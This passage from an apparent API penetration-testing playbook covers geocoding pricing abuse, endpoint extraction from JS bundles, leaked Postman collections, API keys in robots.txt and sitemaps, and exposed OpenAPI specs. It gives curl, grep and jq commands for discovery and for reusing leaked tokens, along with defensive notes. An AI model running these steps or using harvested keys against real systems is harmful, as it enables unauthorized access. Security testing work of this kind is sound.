**Impact:** Location-based business logic bypass.

### Detection
```bash
# Submit crafted address
curl -X POST https://target.com/api/quote \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"address":"1 Apple Park Way, Cupertino, CA"}'
# App geocodes → coordinates
# Submit address that geocodes to attacker location
curl -X POST https://target.com/api/quote \
  -d '{"address":"0x1234 fake street"}'
# App fails → no quote
# Or succeeds → wrong location
```

### Exploit
```bash
# Or use SSRF if app proxies geocoding
# Covered in S33-S35

# Or abuse rate/region-based pricing
# Submit address in cheap region → get cheap quote
curl -X POST https://target.com/api/quote -d '{"address":"rural area"}'
# vs
curl -X POST https://target.com/api/quote -d '{"address":"Manhattan, NY"}'
```

### Chain
1. Find geocoding integration
2. Submit address that bypasses logic
3. Get unintended pricing/access
4. Repeat

### Bypass / Notes
- Validate addresses (USPS, Google Places API)
- Don't trust user-submitted addresses
- Use IP-based geolocation as primary, address as secondary

---

## S47: API endpoint discovery in JS bundles (linkfinder)
**Context:** Frontend JS bundles contain hardcoded API endpoints, paths, and parameters. Reverse engineering the JS reveals the full backend API.
**Seen in:** Very common. Every SPA.
**Impact:** API surface discovery → find hidden endpoints.

### Detection
```bash
# 1. Download JS bundle
curl https://target.com/static/js/main.[hash].js -o main.js
# Or use katana to crawl and find all JS
katana -u https://target.com -js-crawl -d 3 -o js_files.txt

# 2. Run linkfinder
python3 linkfinder.py -i https://target.com -o results.html
# Or manually grep
grep -oE '"/api/[a-zA-Z0-9/_-]+"' main.js | sort -u
grep -oE "'/api/[a-zA-Z0-9/_-]+'" main.js | sort -u

# 3. Extract dynamic endpoints
# Look for template literals: `/api/users/${id}`
grep -oE '`/api/[^`]+`' main.js
```

### Exploit
```bash
# Now test each endpoint
for ep in /api/users /api/admin/users /api/internal/health /api/v1/admin/config; do
  RESP=$(curl -s "https://target.com$ep" -H "Authorization: Bearer $TOKEN" -w "%{http_code}")
  echo "$ep: $RESP"
done
```

### Chain
1. Download main JS bundle
2. Extract all API paths
3. Test each for BOLA, BFLA, etc.
4. Find admin/internal endpoints
5. Profit

### Bypass / Notes
- Minification and obfuscation slows but doesn't prevent
- Code splitting means multiple bundles
- Use sourcemaps if available (source-map-explorer)

---

## S48: Postman collection leaked on GitHub
**Context:** Developers commit Postman collections to public GitHub repos. Collections contain API endpoints, sample requests, sometimes auth tokens.
**Seen in:** Common. Real engagement — fintech Postman collection with full API surface + test token on GitHub.
**Impact:** Complete API surface + possibly valid tokens.

### Detection
```bash
# 1. GitHub search
# Site: github.com "{target.com}" postman collection
# Or use GitHub code search:
# https://github.com/search?q=org%3Atarget+postman&type=code

# 2. TruffleHog / gitleaks on org's public repos
trufflehog github --org target-corp

# 3. Specific patterns
# Search for: "postman_collection", "_postman_collection"
# File extensions: .json (postman format)
```

### Exploit
```bash
# Import collection into Postman
# 1. Open Postman
# 2. File → Import → paste the URL
# 3. Use the collection
# All requests + sample bodies + environment variables

# If env vars include tokens, use them
curl https://target.com/api/users -H "Authorization: Bearer $TOKEN_FROM_ENV"
```

### Chain
1. Find Postman collection on GitHub
2. Import to Postman
3. Use sample requests to map API
4. Use env tokens (if any) for auth
5. Test all endpoints

### Bypass / Notes
- Don't commit Postman collections with real data
- Use Postman's environment variables for secrets
- Add .postman_collection.json to .gitignore

---

## S49: API key in robots.txt / sitemap.xml
**Context:** robots.txt or sitemap.xml exposes API keys in URL paths or parameters.
**Seen in:** Rare but seen. Sitemap can include API endpoint URLs with keys.
**Impact:** API key leak.

### Detection
```bash
# Check robots.txt
curl https://target.com/robots.txt
# Look for: Disallow: /api/internal?key=xxx

# Check sitemap.xml
curl https://target.com/sitemap.xml
# Look for URLs with api_key, token, etc.

# Check humans.txt
curl https://target.com/humans.txt
# Sometimes contains internal info

# Check security.txt
curl https://target.com/.well-known/security.txt
```

### Exploit
```bash
# Extract any keys found
KEY=$(curl -s https://target.com/robots.txt | grep -oE "key=[A-Za-z0-9]{20,}" | head -1)

# Use the key
curl "https://target.com/api/users?$KEY"
```

### Chain
1. Read robots.txt, sitemap.xml
2. Extract any secrets
3. Use against API
4. Pivot

### Bypass / Notes
- Don't put secrets in robots.txt
- Sitemap should only contain public URLs
- .well-known/security.txt should follow RFC 9116

---

## S50: API spec on /openapi.json, /swagger.json, /api-spec
**Context:** Raw API spec (not the UI) is exposed at common paths. Lists all endpoints, methods, parameters, response schemas.
**Seen in:** Common. Often forgotten when disabling Swagger UI.
**Impact:** Complete API surface discovery.

### Detection
```bash
# Common spec paths
for path in /openapi.json /swagger.json /api-spec /api-spec.json /api.json /openapi.yaml /swagger.yaml /v1/openapi.json /v2/openapi.json /api/v1/openapi.json /api/v2/openapi.json /api/v3/openapi.json; do
  RESP=$(curl -s "https://target.com$path" -o /dev/null -w "%{http_code}")
  [ "$RESP" = "200" ] && echo "$path: FOUND"
done

# Look for "openapi" or "swagger" in any JS
grep -oE '/[a-z_-]*(openapi|swagger)[a-z_-]*\.json' main.js
```

### Exploit
```bash
# 1. Download spec
curl https://target.com/openapi.json -o spec.json

# 2. Extract endpoints
jq '.paths | keys[]' spec.json

# 3. Extract sensitive fields from response schemas
jq '.components.schemas.User.properties | keys[]' spec.json
# Look for: password, passwordHash, ssn, apiKey, secret

# 4. Test each endpoint
for path in $(jq -r '.paths | keys[]' spec.json); do
  curl -s "https://target.com$path" -H "Authorization: Bearer $TOKEN" -w "$path: %{http_code}\n" -o /dev/null
done
```

### Chain
1. Find API spec
2. Extract all endpoints and schemas
3. Test for BOLA, BFLA, mass assignment
4. Find admin/internal endpoints

### Bypass / Notes
- Disable API spec in production
- Auth-gate the spec
- Strip internal endpoints from public spec

---
